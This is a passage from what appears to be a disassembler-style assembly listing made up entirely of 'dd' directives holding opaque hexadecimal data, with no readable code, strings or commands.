0B1321B8Ah, 10975EB3h, 13AD7124h, 5B0586Ch, 0EF62A89Ch dd 0A000E9A3h, 58EFB22Ah, 0AF00D51Dh, 60C12CECh, 6E493810h dd 0B00027BBh, 3334FFA7h, 0B55F09FCh, 31C301FBh, 14D9Dh dd 0B815A61h, 84AF8DF2h, 8040F924h, 9C9C2DAh, 6024DB12h dd 61DBA81Dh, 2636E016h, 3A649318h, 301E1497h, 2574ECD8h dd 803D9C38h, 6B2F4154h, 7F81A60h, 2E64EB81h, 57C1EBE5h dd 0FFC3E9A5h, 0B5891505h, 1B901569h, 0B09DFCFBh, 5D939812h dd 5800B996h, 0D0477B86h, 92007A6Ch, 0D6DF70F8h, 39EFE75Fh dd 0C7B3F4B7h, 21007308h, 7BD6D0ABh, 779F4Fh, 0F24DC369h dd 0D30D4056h, 0D5105207h, 304CF5FBh, 46B50018h, 0A7B4734Eh dd 0AC667B97h, 1D210208h, 0BA46BD35h, 0ED34B380h, 43DB1B03h dd 0D0EB1300h, 0D96AD1BCh, 0ECFC0074h, 90C1438h, 67719380h dd 3D00500h, 0F8986148h, 643E29Ch, 2B3BE545h, 733FD120h dd 489730EBh, 7D85300Fh, 0F99800DBh, 754BDE3Ch, 0BB609CD3h dd 1667A20h dd 20D653A0h, 90DF91DEh, 30C2B978h, 93EADA7Ch, 0E3731A06h dd 79609EC4h, 8471FECh, 10F84086h, 0B2B5709Ah, 147F0C03h dd 3057FB6Ch, 0C7219D08h, 0AC0EB548h, 21FC89Eh, 83592BA7h dd 5FC80h, 0FED36871h, 0DC820D23h, 5D034D76h, 0D53450AFh dd 8D8CB061h, 52FB1B0Bh, 0D0233067h, 46B601D4h, 18BC734Dh dd 0BE3A881Dh, 0B2AE4607h, 0BD505972h, 60FBB768h, 1599210Ah dd 86004442h, 0B04E9B78h, 38A3EDh, 60532A62h, 73DB8C64h dd 30E55B05h, 0F0001D44h, 0A1D74374h, 77270D60h, 6241803h dd 0CB46A0F4h, 4C46B70Fh, 1C4A4E8h, 46BF3B40h, 680A9E55h dd 74E6FBB8h, 0C29FCA91h, 0AC734B46h, 38101F31h, 0DF7F46A0h dd 0D507F8F2h, 0EFE8E06Ah, 0EA396161h, 527C1420h, 4523E4B5h dd 0B4444E1Fh, 90624F0Ch, 0B546C520h, 7C480341h, 0BE78F373h dd 3262480Dh, 0F8F080F0h, 966337BDh, 5DB28030h, 1C03DE2Dh dd 14864C5Ch, 87083034h, 2D455521h, 8F1EEC00h, 0F7FAA662h dd 50ACE0E7h, 297DB006h, 128A0F8h, 1CD32D40h, 888C1834h dd 2D0F4852h, 0BD558374h, 61D37844h, 6F1408D0h, 4E3F00FEh dd 0BFBEB4EAh, 0B502FCD4h, 3EFBA107h, 0D7B89168h, 4608B318h dd 0C4847370h, 0BB374006h, 0F838CD46h, 5F18120Ch, 5000146Fh dd 8C03E8h, 0E4B49059h, 7707960Bh, 0D4D89A68h, 4B804811h dd 570CB7B5h, 0BA9E448Ch, 0F6B54300h, 76D7EC60h, 1F2603C8h dd 0FB1E8AE2h, 0E6E3711Ch, 0B4F8040Ah, 38D467Ch, 0BFDB948Ch dd 7A4C0DDh, 4B58A91Fh, 0B5094C18h, 9C5F0CB6h, 44BB0010h dd 8725FFB5h, 2C589417h, 5804507Fh, 121E2D40h, 59502A7h dd 3BE30810h, 972334h, 771C2B51h, 38929A47h, 17483810h dd 6922FB0Ah, 0D1E02990h, 3C3C1804h, 6062D109h, 9D09B5DBh dd 0C63F5Ch, 79D1A850h, 2A117BA3h, 0F94CEEFBh, 4609B118h dd 9C947372h, 0B9311FE4h, 903A8046h, 6E3B382h, 87888A54h dd 0C45F8900h, 0CF85E216h, 80E00298h, 0EF9FFF4Dh, 145C1040h dd 2BF4684h, 1CDC2D43h, 108F314Ch, 32D4B53h, 43F02957h dd 8180A5CDh, 0D03AEF94h, 8C80E8E6h, 0D31E463Fh, 0CFE748D6h dd 0AF4479C4h, 0A9490ED4h, 106482F3h, 97111F98h, 1E21A980h dd 0BB3107B0h, 83631899h, 0BCE8C187h, 0B162B317h, 115B59D8h dd 1B68A30Bh, 0F0B908DFh, 449F7B08h, 0D6DC6044h, 0D7E72342h dd 0AE037811h, 0A979D6D5h, 0E57CD888h, 0FEFB7D09h, 11F89F6Ah dd 8D6B8707h, 0FA783731h, 21A0D846h, 481190BBh, 5ED6D881h dd 7C31FAE7h, 0D6D1AA10h, 0E1AC91Ch, 82756309h, 0E2C2D068h dd 0EC246968h, 0B79401h, 6FC3280Dh, 0DB822863h, 0CC8BA78h dd 4881F706h, 0BC1370B8h, 23383E12h, 0BEC20187h, 349CA68Fh dd 9840E704h, 78024889h, 0C963D086h, 5F27B0A0h, 58549E07h dd 35102D55h, 33076766h, 71880528h, 0BD74C81Ah, 44B447B0h dd 63B26196h, 80E94CCBh, 4201BE23h, 441CDD2Dh, 5488B018h dd 882D0E4Ah, 9061FB71h, 0D80C7E85h, 0E31A0D5Ch, 0C0988C3Ch dd 876E4B2Ch, 0E26003C4h, 4E02789Dh, 8E5F0D3h, 23C4A470h dd 3045C492h, 5D11D6DDh, 7588DFE7h, 80F8AD9Fh, 1B3796D7h dd 1053002h, 64EF5643h, 0E561F216h, 0D0A891CBh, 0B46B285h dd 5C9C9CB8h, 46BA3600h, 23B0B2A0h, 954C00DDh, 60997684h dd 4A2C9139h, 9C220161h, 0B75E430Fh, 411FA3Dh, 5960B9BCh dd 1C7DDA2Dh, 0FC8B458Ch, 50002D41h, 18555DFDh, 0BA4EBF1Ch dd 0C611940h, 7042299Bh, 8E409874h, 0B51E02D3h, 2EE418E6h dd 0D0D4A080h, 1536896Bh, 2030C9F6h, 0E002BBD8h, 7B85DAEAh dd 0D2B0B042h, 0E74016D6h, 500038C7h, 45D6CA05h, 7C810B04h dd 9B079D0Eh, 8A06B30Fh, 0A00010A2h, 0B6FD1EE1h, 627382CBh dd 8F08417Eh, 12275048h, 0B0574E00h, 48090AC7h, 7F3B0971h dd 0DD831CD8h, 0E9009A63h, 3CC6AE34h, 96967EBh, 7D130879h dd 0DEE43808h, 0A87C8100h, 866BDADDh, 26A701BBh, 37300CB0h dd 7B58877Ah, 8180C00Eh, 124EDB68h, 0D104D373h, 0BDBB0860h dd 0D965B029h, 8F2468h, 9157DE1Bh, 1CCFC5F4h, 23600248h dd 0D6D90149h, 38FFE759h, 80A9B20Ch, 0B4C324C0h, 0AFE400FBh dd 0F73DBF59h, 0C67018Ah, 29DB09C9h, 14300754h, 870A448h dd 30094F0h, 18E7F455h, 0E0BC9A90h, 81EE2187h, 76514C21h dd 13008B18h, 0BC38DD47h, 14B982FDh, 0C48D0C1Ch, 738C02E8h dd 0DB5800F3h, 733F264Fh, 6C4B3A1Ch, 9F23E02Fh, 0FD71BE00h dd 0F462ADFEh, 0CB0831F9h, 9E7EF0h, 59243F4Dh, 227402Ch dd 0BC00D837h, 0E17D290Ah, 0C93902C0h, 0E0FB883Eh, 97C5D4E0h dd 317BD330h, 284811C1h, 9D8EC3h, 0DD82C666h, 0B8650D9Bh dd 925AE200h, 10E317FBh, 13C89C44h, 23142F7Dh, 0D0DC028Eh dd 40F79CD2h, 0E00C23B3h, 784B5907h, 78A8762Bh, 4A00831Fh dd 5B0F7FFDh, 89F79B7h, 856AA7BCh, 0A748F133h, 50A01804h dd 7DD32071h, 4996F80Eh, 0E1378010h, 3D5DE74Dh, 0AA815894h dd 0D15B0B75h, 0F6D04146h, 0EA00086h, 643B3428h, 9DC8C2B8h dd 198088B7h, 93F4DAA3h, 7963171h, 47BB58h, 0C87AE73h dd 0D227A182h, 0D9622408h, 4A842E88h, 0E488458Ch, 9D7B6079h dd 56850564h, 22C00BD2h, 713046BCh, 0CB117B5h, 0C0FC3867h dd 7CCC4950h, 1CB98492h, 29189F79h, 0B848600h, 45557479h dd 0EC3002E4h, 0BA48FA8Fh, 91D94851h, 6E021A18h, 7476F77h dd 1E50E818h, 92E6248Fh, 3A9D9708h, 0B0239Ch, 0C645F3D4h dd 0B92C3655h, 0D422DBFAh, 874400A7h, 0B21E6D60h, 0EC25E279h dd 91109D02h, 4E8F858Ah, 467C7080h, 0BA70A143h, 2D095E18h dd 65641CD9h, 46588034h, 450E7E2Dh, 0EEE25900h, 1C715015h dd 82132477h, 9C4569A4h, 6F6001E4h, 870684A5h, 8D06BFBCh dd 45072A50h, 44F487DCh, 0B48F609Ch, 0F2F50058h, 0FB2B82D1h dd 1C919320h, 91D49727h, 0D4858007h, 1346CEEh, 1EC60ECBh dd 228E32BFh, 189058B8h, 5D898D07h, 6CB80080h, 6B2342ADh dd 78D26E75h, 1A85A49Bh, 1754808Eh, 1F7A087Ah, 723F0498h dd 0E80CC806h, 0AC098C87h, 0A1667182h, 97FA6100h, 0B9782180h dd 7B79BCEEh, 0C8E23202h, 79ED2B72h, 189F7104h, 0E287EC3h dd 64C080ACh, 79338C00h, 0E2D1D8Dh, 910417D3h, 8CC7801Ch dd 96EDD2Bh, 0AA0F9BF1h, 0DE295881h, 9F707075h, 5677A80h dd 8C38EDF3h, 6414E010h, 46CA7700h, 0AB332F8Dh, 1B58CFF4h dd 0A09B69h, 0A4ED18E3h, 8180063Ch, 16D3B4C5h, 82876BFh dd 8AF61002h, 209EBD48h, 4B8C0E7Dh, 23582E7Dh, 0A789018Ah dd 30D527C4h, 0B2886E50h, 31144A8Ah, 2D9C8884h, 0E4A23ACh dd 0C25B54Dh, 0C760A247h, 0E6F045C4h, 56A32A0h, 0D78765C5h dd 8FCC01D9h, 0A78610EAh, 91009758h, 0DE508192h, 2460CF27h dd 8BD0079h, 3CB943DAh, 1A2CF9B8h, 8309F0E0h, 23804B76h dd 72014168h, 6F0CB0B5h, 0C1803023h, 1A53B54Ah, 8A027F71h dd 0A90525A1h, 37B88B65h, 94E808Ch, 0CD1FD9FCh, 8F1D6B00h dd 0AF1808C5h, 986D2459h, 7467458h, 6D172401h, 2013641Fh dd 0B8021644h, 63D00D6Ah, 5680805Eh, 0F2037EE5h, 0D191C060h dd 0E0D6B955h, 123E6673h, 8C4E803Dh, 9C51DB2h, 194A4E7h dd 0B0DE1EE0h, 80F0FCCBh, 5062D379h, 496FE56h, 6088BC9Ah dd 7AE4E005h, 358D7206h, 0C5D0747Ch, 20689BFAh, 333003C4h dd 0F9104460h, 9C8DC8FAh dd 924676DCh, 0E3D7C900h, 0EFDB3D47h, 246F7373h, 0B0281C51h dd 58FD272Eh, 48774676h, 0DFDB0062h, 280C9B5Dh, 0B94560EFh dd 0FFD08E3Eh, 0C247096h, 3BE0808h, 9F77817Bh, 0D90B48A6h dd 4DFA7D55h, 3D0FC030h, 133879F1h, 3B42FE7h, 929F1EA8h dd 850A5h, 368D45CBh, 0FCB9A48Ah, 3163160Bh, 0F42882B6h dd 44DC474Ch, 6BD66091h, 0E6CC3CD3h, 78045498h, 0D2208792h dd 1C8A7A9Dh, 8A5863F6h, 3EFC0E4Dh, 5FB0404Bh, 262A68EFh dd 0F4800526h, 0C741191Dh, 99B8D373h, 181C1038h, 67C64FFh dd 0B1CBB148h, 73DC08B6h, 2098B082h, 8C149036h, 4C48A87Ah dd 8C04E8C8h, 0E754020Dh, 81F069A0h, 426A5A7Bh, 1550184Ch dd 54048CABh, 56EF0197h, 9BF8E883h, 89F9007Dh, 3A8DD604h dd 2995287Ah, 24AC022Ch, 87900BCh, 18C36C4Bh, 1D84B2D3h dd 12B1470h, 0F953D109h, 0FC6368h, 61A1B5DCh, 0FC396Ch dd 0D440637Ch, 0C32A8A9Eh, 82DB5304h, 40915775h, 0B03D0361h dd 0D69F1B0Bh, 30E17863h, 7E6089DBh, 0D0F8912Dh, 0D00CC2Dh dd 9A28A5B6h, 0CD719970h, 4E7E4800h, 0A3D51D83h, 8812098Ch dd 0B0C807F1h, 0A47306C5h, 5DCA2801h, 0EFC44E5h, 80B85985h dd 0DABBC00Ch, 160022EAh, 0E03E5B17h, 2818B408h, 3804273h dd 968707BBh, 909C529Fh, 0D3F57234h, 9808C9Eh, 6A673482h dd 497000CDh, 0AB40C6D5h, 81001396h, 0DBAEC7D7h, 280F6F4Ah dd 12D00DD8h, 43E8D4Eh, 676A3E0h, 95169D3h, 0A381F65h dd 2F77AC21h, 0E610190h, 10BB9C48h, 98D2A87h, 0E49A3BEDh dd 21C73068h, 3AFED5F6h, 4412A118h, 0A0919EC0h, 2CF59318h dd 877894F3h, 0C409C3BDh, 198944A9h, 0D4204C89h, 42FC295Ch dd 7D11C8h, 5144A1B9h, 5B93FBh, 2F2566D6h, 73D51901h, 0BF0ABD71h dd 0FCE10944h, 81D91089h, 0B454E2C4h, 9FF78A4h, 58A04DEFh dd 7482840Fh, 67614B6Fh, 0CBC5F239h, 1C781800h, 91A5368Fh dd 0CEFE02F8h, 0EC790CA7h, 66EF5600h, 0A006DB39h, 18280F3Ch dd 216DD3E3h, 7F4CDC52h, 0BFB1B80h, 7022C8D9h, 6FBA091Eh dd 75809436h, 328B4819h, 804D901h, 1BD41011h, 708ECC45h dd 0AEC38D88h, 0E8498805h, 0D6AA1690h, 0E008C089h, 0EC02C114h dd 13DB16D8h, 582073EDh, 0B6F02708h, 3BBC900h, 0EFA7E20Dh dd 0CD2108Dh, 313231A1h, 0F82C7C7Ah, 488C88B8h, 0D1040840h dd 0C20D8513h, 0AD02B69Ch, 446867C5h, 980C611Fh, 740E5C8h dd 7B213262h, 344B7E38h, 25201CA0h, 58DD542Eh, 0F4FC0681h dd 0E030779Bh, 5F31E921h, 0C1898CC8h, 0F583188h, 0D5FC50E8h dd 0E902379Dh, 871E7E42h, 0E514C8C6h, 22405F08h, 5F30BB18h dd 1CD8142Dh, 57E0846Ch, 0AD092D47h, 919009E8h, 6BC10334h dd 1C48A434h, 0D1E45E5h, 20083B6Dh, 0B4B0C43Ch, 0B81085E9h dd 0DC89180Ch, 6BC202Ch, 79FE68Ch, 87BCD573h, 0F7F9C04Ah dd 0D01A06B5h, 8F587857h, 0F8040AA0h, 46547468h, 6DBD1D89h dd 94096146h, 0A0EE1219h, 7D0456Fh, 4D80408Bh, 89264A44h dd 72A15A00h, 0A5B46F2Ch, 84C20E35h, 1402082Dh, 285162A3h dd 69181DD1h, 41AF601h, 7F94FAF5h, 8CF041F2h, 4F778180h dd 0EC14EF2h, 72C097Fh, 8B409CFCh, 934928h, 0D9D553B8h dd 0B24D02B1h, 0D4C0A800h, 75057D41h, 2098B8C1h, 0AC98BABCh dd 87627409h, 44AC4793h, 0E752607Ch, 18EC4D30h, 1030EB29h dd 0AE17217Bh, 7B465604h, 25C7913h, 668CE11Ch, 0ACDEC0E0h dd 9D804082h, 0C96F0C0h, 0A156BF16h, 0EC986D18h, 0E76C7025h dd 60046448h, 8B058F5h, 43D3088Eh, 5107A824h, 0B6205F8Fh dd 0C27B5330h, 0EDB05B18h, 0FC73A4D1h, 0C3530961h, 1C29A7C0h dd 9C4E9F12h, 3818DC42h, 8C790002h, 0EA7C0436h, 60553F04h dd 0A8F00F78h, 0E7F1CE52h, 30F05C06h, 60B39D04h, 54BC2006h dd 8177C2Dh, 5808C11h, 0C0D70C7Ch, 8C8CE4Ah, 0CAE100A4h dd 9F86BC91h, 4C0981BDh, 5207DD60h, 2AE900E8h, 9FE0CAA7h dd 5C00BBE7h, 8AB45055h, 67A76DBh, 61645812h, 71F23101h dd 18E55938h, 8DF1F60Ch, 18B61714h, 9CA0CFF3h, 9D823923h dd 0D3A48AD4h, 3F001C52h, 0AD0CBDEh, 6973820Bh, 0FC87196Eh dd 6C10C943h, 960027E8h, 1A585329h, 0FDB2ACh, 169E8E41h dd 0B66DD255h, 68D0DB18h, 0FAFBD31h, 0B720CA71h, 1962D326h dd 8E89683Ch, 40263B63h, 0D1C2502Eh, 0DA9804A3h, 8416884Eh dd 23702E1Ch, 80F001Ch, 8F358ECCh, 0A49F3D12h, 4D6E5000h dd 1F7187E8h, 40100E7Dh, 0D39DC44Bh, 4C2EF414h, 0E7252183h dd 609C4488h, 0B0208899h, 1DF5043Bh, 0A8F4FAF9h, 16890DECh dd 8882A1F7h, 0D0B8AC76h, 63F5F9C0h, 36180304h, 0ECE96DCAh dd 13040ABCh, 27B70EF9h, 0FAB89081h, 6EEBFC00h, 91681D9Fh dd 822831Fh, 0E40CE8BFh, 8FF9396Ch, 0F98260F9h, 8B78635Dh dd 0E3A7FC00h, 0EA193A89h, 0CC0D1DB0h, 39B9408Dh, 93416AD2h dd 0B72F4091h, 0B22E0034h, 95010BF2h, 0D2E13400h, 280D6881h dd 0E49CA73Ah, 3EAE6001h, 0FCFE1895h, 2419190Dh, 969DC300h dd 0E8254773h, 1EEB09ACh, 0B8D0E777h, 393E8A02h, 6081E688h dd 828616B8h, 0F096D4B1h, 409AA33Ah, 6497C124h, 138700DEh dd 0A2DA482Ah, 750026A8h, 0CB0EBD86h, 976CA05Dh, 1EBE2421h dd 0E4C4FC55h, 958B407h, 28C2378Dh, 4790AF3Eh, 0AB820CBDh dd 431C6065h, 74DB05BEh, 0B4638F40h, 0F53A9180h, 0E8FB2771h dd 2E5E349Ch, 60B14Dh, 5F8812E2h, 6D076886h, 0FBB2643Ah dd 0B943DCE0h, 0F5900BC6h, 5427E540h, 6491E961h, 0D8D1D11Dh dd 9C48FEA8h, 0D2DA80A4h, 993F67h, 4DE5415Ah, 0EDB85B4Ch dd 465C88B4h, 0DC733B92h, 7B7A04FEh, 2CE88F07h, 0C1EA2474h dd 9C372F44h, 7DC24387h, 280EB0E0h, 0A2A0A94Fh, 522DD240h dd 0FC0B158Fh, 6600980Fh, 4E32F63h, 1000D9Dh, 25DE5367h dd 1E1BFBBh, 0A4ECF2Eh, 0C69E8792h, 0FF76F074h, 850EFF18h dd 0D2BF1C67h, 0ED8F4C44h, 9EAC58A9h, 2C1F58h, 9E60435h dd 2E70BFD0h, 4254EAB1h, 887C9385h, 914676h, 79C0087Dh dd 15938EDh, 93800596h, 0D2C1EC09h, 4676407Eh, 301E7297h dd 672739FCh, 6006646Ch, 13C453F5h, 0F0E7300Ch, 400348ACh dd 0ACF8848Eh, 7BB8894h, 34A31E8Bh, 4C93CE7Fh, 754B8583h dd 0D16887E0h, 43B10400h, 938B6C28h, 7B7F0E54h, 0AA82D0D3h dd 0C0610B57h, 0D26DD076h, 6B01167Dh, 74EDFAF7h, 288DD4CAh dd 12077A2h, 0BEBBD218h, 25F4BA49h, 62788205h, 3BC8C1FEh dd 135C6E6Ah, 16008DB5h, 6D4A23D8h, 1205F1Fh, 0E5567210h dd 0BCA87C73h, 47038C8Eh, 36021106h, 8A3CF8D0h, 0E6C009D2h dd 0F0F03008h, 188840BBh, 18656959h, 88600164h, 0AE09FDA5h dd 206B7482h, 0F2048A8Ch, 0EF1053Fh, 0B54ED3D0h, 5C002280h dd 86427CE8h, 0C84C8A4Eh, 500C974h, 0E5BF2CD7h, 1C90A31Ch dd 8E0D6296h, 3A6B69DAh, 9E2360h, 0BD7B7222h, 87010B75h dd 1CD6DF9Ah, 8C68BE9Fh, 14E1B501h, 302047CDh, 84407620h dd 643816E5h, 5564A429h, 47FD202Dh, 6077440Ch, 0C09724h dd 4231270Eh, 7B10FB99h, 46741496h, 80B33F02h, 0B159CB12h dd 314D682h, 0C34031E5h, 1CE0B51Fh, 80BE4C24h, 3E3576DCh dd 3100EC27h, 18B8697Ch, 5602BD79h, 0A9A7926Bh, 3848921h dd 0F4EF08DCh, 6448D309h, 523C091Ch, 597D83C0h, 0A87E2E93h dd 260F2Ah dd 20EA13C7h, 10115B9Bh, 0EFF8A427h, 7975402Ch, 0AE04357Bh dd 0BDDA8DE0h, 0E17E1492h, 0D4C6932Ch, 764676E4h, 0E5A88500h dd 0ACD9B19Ch, 8C581374h, 426F10F4h, 47EA730Ah, 0F6FB8B9Ch dd 95444500h, 2C5FFA8Dh, 54E67012h, 5B9E54E0h, 0A095E20Eh dd 35806215h, 0A4D2FCh, 94F44363h, 870AAF24h, 0A2382800h dd 0C86C2570h, 0E6D40423h, 21F8030h, 476BBA16h, 60904404h dd 1F5DD9BBh, 0C09BA073h, 0AB8907EDh, 0D6E0E31Fh, 238A258h dd 0C35B982h, 95C7A19h, 0BF58E3FBh, 4CA0A4F0h, 0F0A23E12h dd 465E687Eh, 1376027Bh, 0A2FA188Ah, 0E2327280h, 9EECE6C0h dd 6D00D48Ch, 86136234h, 2671C984h, 0BACEF74h, 7CEE2E24h dd 0A818E50Ch, 4A431803h, 0AEA890D3h, 0E10046DEh, 0A3206E71h dd 1C74B42Bh, 44687F06h, 0BCA65C73h, 8C8ABC8Ch, 94DEAB00h dd 6B3084CBh, 91389077h, 18174B84h, 4B0BC63Fh, 0BB808DF5h dd 34A18251h, 63087A05h, 0A47A6169h, 5341ED00h, 8B724BF0h dd 56817E05h, 78020961h, 0C0B4E349h, 8447DB1Ch, 0D1A08810h dd 2861AE8Bh, 1880C0E7h, 8095B4A3h, 8D437D9Ch, 0A4111429h dd 511889D1h, 85D7F17h, 0CFDDA4D0h, 0A07009Ah, 85391DA8h dd 0FB3D7332h, 0D990E474h, 3F4770D8h, 8C8D01Fh, 0E2A65A85h dd 52BD098Ch, 8D441879h, 88682FD2h, 696FF0A2h, 0E176FCD4h dd 4C046018h, 0D36E290Ch, 0F50EA8BDh, 78EE904Dh, 7D741A0h dd 775AD006h, 7EFA140Eh, 0B8F45712h, 415018Dh, 0F71221F6h dd 0C1EAE144h, 8A0A484h, 5818FF74h, 87C0E826h, 6079940Ch dd 720CB41h, 1C341468h, 9C01BB73h, 0ED0DC3A7h, 0A5C477DAh dd 8BD49CFAh, 0EC6808F8h, 900AE4Ch, 7BA10EDFh, 2B23D21h dd 0FCDE8EA8h, 0E8DE1E41h, 1C4676h, 0ADBE6B32h, 0BD5DD5Fh dd 2E8D6EB6h, 0E2C3A083h, 50881h, 1EB979h, 0D55603AAh dd 8A48255Dh, 92063E3Fh, 0A4B2EDE0h, 6A3096E2h, 2D54B162h dd 7900ED5Ch, 9F5DF459h, 6880781h, 97167B5Fh, 4EB673F7h dd 0D6F31E93h, 0B1D3F9DBh, 5C2F785Bh, 70001D23h, 22623BDBh dd 9881EA6Eh, 501464D0h, 0E464C341h, 8F4EF903h, 0F45A0BEAh dd 9CC8088Eh, 0D1FABAC0h, 0A77F96h, 0FF057B6Fh, 6A3F8F1h dd 10A0D35Dh, 300FB74h, 43DBBE48h, 0AB01614Ah, 8A8F404Dh dd 402AD0A4h, 6946A1ACh, 2D003186h, 62D33452h, 90B84272h dd 0A6F24400h, 4309D01Eh, 3E6B8640h, 22894150h, 0D3300702h dd 0CC5D517Fh, 0C860E7CAh, 0E560EE4h, 0A3A09784h, 0B152CB78h dd 0BFBC0B04h, 0B8ECA886h, 0B284B2D7h, 3007318Bh, 0F65CEB95h dd 2E340994h, 4484477Dh, 0E5F0607Ch, 2038985Ch, 0EF029DA2h dd 44B94656h, 0E8705ECAh, 73465430h, 0AC361F00h, 0C7F3C68Fh dd 0F1FAB75h, 4B12300Eh, 606C74F4h, 234FE19Dh, 0BD3FDBB5h dd 137105EAh, 4CF406ADh, 80F274h, 0B8608F12h, 86C4A0CCh dd 0A2F0E9FAh, 7E50BA4Ch, 0E6FB4440h, 6CD54507h, 8C8EBC10h dd 0E2D97F00h, 0A88D73A7h, 2A8A0E3Fh, 3A3685E0h, 0B872310h dd 1C72FCC5h, 3AD91300h, 5CF98DCCh, 2CBEFABFh, 8105E78h dd 0A079CD4h, 0A4A01E2Eh, 5B074880h, 99D89094h, 0D3017EFDh dd 320CF53Eh, 42EC2003h, 37481EE9h, 0F41725D1h, 660346B8h dd 0E5D586B8h, 97BC8810h, 562EE01Fh, 0BF34046Ch, 0B0A21675h dd 0B727A501h, 0D41AB93Ch, 24000DB6h, 5A8DE79Dh, 0EE0C70C1h dd 6810C97h, 62C08037h, 9F8C9D0h, 0A01D037Bh, 9FA4770Ch dd 90AD48CAh, 0C8FC8B5Eh, 0B0B0C47Bh, 0F7FCB1B0h, 0D2BF1E08h dd 5E31CA6h, 0AC058890h, 8CB0E8F0h, 56CB7B00h, 0AA570B6h dd 582100ABh, 0DF3A8988h, 0B04BF94h, 9EDAA71Ch, 8DA110E8h dd 0B056DAF2h, 470A031Ch, 0EC25A46Dh, 0F9EE0600h, 288778EAh dd 17F020E5h, 524E5B03h, 816C11h, 31A51329h, 53D09C38h dd 0B2D13D0Fh, 0F4C240EDh, 5BEC3011h, 8FB0811Ah, 601F7F5Ah dd 0F4441004h, 6F0AFC02h, 64FBF300h, 2A70C79Dh, 0C0EB7293h dd 73022858h, 8E768F9h, 9745EE8h, 0EC826BF7h, 0AF002F98h dd 6005615Bh, 0A71B99FEh, 0B0B68EC6h, 0D24B4489h, 87ED3004h dd 6A2AD1E9h, 0CC88B55Eh, 0E69F251Dh, 0C0778CE2h, 6082BF1Ch dd 632F1080h, 261FB997h, 0E0659DE6h, 5844E7D8h, 31093842h dd 9444C40Eh, 802FD63Dh, 808D8710h, 44BA463h, 2DDCAF81h dd 98CCBCA5h, 80069CC8h, 0EF5B771Eh, 8E08C8C1h, 0F314A98Bh dd 20998100h, 1F01C922h, 18E48BBAh, 6C641C6Ch, 82D02475h dd 0A42A0934h, 0CE3DC879h, 0F8F62893h, 42EF83h, 0D3C7CB18h dd 813EDAC4h, 15018490h, 0FDD28959h, 82FBEB4h, 0D8294DCh dd 497867D0h, 471056B8h, 84FF541Fh, 0AC968FB9h, 28076F03h dd 160218A6h, 17896EDBh, 0BD40491Eh, 9D7DDDCh, 6C20ED51h dd 9148C870h, 0BAFC114Ch, 207B081Dh, 0B8612FF5h, 0A50329DEh dd 0AA18C4BDh, 9C00806Eh, 0C204D949h, 0CB1D4BFAh, 4449F98Eh dd 641447B4h, 36546097h, 0B29F2EA6h, 0D2D78668h, 44962082h dd 6D7D17DCh, 0C2D000FEh, 7F0F75A8h, 465E189Eh, 415D0E8Fh dd 5801C0AEh, 2A280203h, 28808FBh, 0C0753867h, 8BC0F83Dh dd 0B1003429h, 8E5E0144h, 4AD28D4Bh, 0D93C8060h, 6140D0EFh dd 8C0B00F8h, 0CAB79BB3h, 24FC119Fh, 411E25Ch, 1A879C06h dd 33B5A0D1h, 0A910353Ah, 5CF4A8B0h, 2200B449h, 0DEA41CFCh dd 17BFCABEh, 807C9154h, 0B430E767h, 4369D06h, 0EA19B598h dd 0DF88AC4h, 0E86C43C1h, 74405B2Eh, 6A037646h, 0BD70195Ah dd 871CCDB8h, 0FCC0664Eh, 93930263h, 0E981D814h, 0C013994Fh dd 51B030F7h, 9C246AB2h, 8B08F878h, 0E28D0447h, 3816AAC8h dd 91F260F2h, 0EC6EE30h, 0F471946h, 28E02A09h, 0E0D2D8Dh dd 82FF58Bh, 0A6C493E2h, 6E405A10h, 5F1F0060h, 27ECDEF2h dd 9F1C1278h, 4EC4B83Ah, 0D913C46Eh, 8880A206h, 92A9A46h dd 0D9056074h, 0D5C28F27h, 7B988B40h, 0FCC271F8h, 3509A182h dd 0C27F300Eh, 400C7CA8h, 0D24C19D4h, 2641D800h, 51834507h dd 0B71800A3h, 7A2794A2h, 0EB3C73F4h, 588E03Ch, 0A94923D0h dd 96E5060h, 54DB7CB8h, 98C27058h, 0F79D274Ch, 46184045h dd 523961F1h, 850410EDh, 500C7682h, 8C78E8C8h, 0A5810500h dd 6AEEBF6Dh, 392B05ABh, 0A87282E8h, 4C089C58h, 9B7317F3h dd 89F08034h, 2B20E3Fh, 1FE1B10Dh, 0AC5485C3h, 77465Ch dd 94B1E3BEh, 0E0ACBD08h, 0C45D51EBh, 4A2C0A2Fh, 66700FA4h dd 8243827Ch, 78CA5174h, 7C79E4F9h, 38B53E18h, 80977684h dd 30B879E5h, 44FD15EBh, 9400D8B8h, 0D4111430h, 0BFD513Eh dd 0FFD08D46h, 0EB1390E0h, 0BCE02C4Bh, 2C129DB5h, 0A404A07Ch dd 0B4B2BFA9h, 3B39D300h, 49BBED4Ch, 4709FCE6h, 51B787E7h dd 190279C0h, 0B36EFF0h, 2A23510Ch, 0A83FF000h, 524B7FB7h dd 0C6C0C4DBh, 69FA224Eh, 50F15400h, 20409B28h, 0ED0E008Ah dd 0AAA65C7Bh, 0B30EBE15h, 2910DF1Dh, 13B87C64h, 88AC8B7Dh dd 16BCC288h, 6D0080D1h, 805B5669h, 9C1B0951h, 685E0C59h dd 0CD8C2B2Dh, 9D07C078h, 0D9007453h, 0B29C58ABh, 97B8FCADh dd 0B871F089h, 6CD402EBh, 987309A1h, 0E058D8A3h, 60B80211h dd 6CC83365h, 2580ACDEh, 5A2635A9h, 0E310B8Dh, 0F0787318h dd 1338B7BDh, 3FC9Bh, 8ADCE7E2h, 2EE6C22Ah, 0B2C7981h dd 6C9B322Ch, 0B5444CD0h, 31DA3F00h, 0F4413A82h, 0F8B07D69h dd 0DE8F1458h, 1C13904Eh dd 23F43E99h, 53BA009Dh, 0B411CD45h, 473B0E0Fh, 1C41B217h dd 0A9F29FB6h, 0EDF8642Fh, 4866A8ACh, 0EB105448h, 0F9E80A73h dd 0E040ECDAh, 5A87E31Eh, 23CB8CAh, 0A05D49DBh, 0B058D1D5h dd 32BE7908h, 8F105F60h, 7814A704h, 483627C0h, 75919017h dd 2070009Ch, 83D9C49Dh, 0ACCDA04Bh, 7AE8086Fh, 0D5BF8800h dd 1B377244h, 0A02B82DEh, 0DABA0818h, 0C8D3B690h, 6C806A80h dd 3BB9357h, 0BD791FDBh, 7890E709h, 393CA533h, 5038CDh dd 7BCE3471h, 5AB15B46h, 80DC9B0Bh, 0E32BF30Ah, 44935E70h dd 3E756B84h, 0B8000423h, 2430E75Bh, 81D8B611h, 77DA26E0h dd 7C582E57h, 1758D5F1h, 7B13C2Ah, 0D8CA3654h, 1343A144h dd 5D8841D5h, 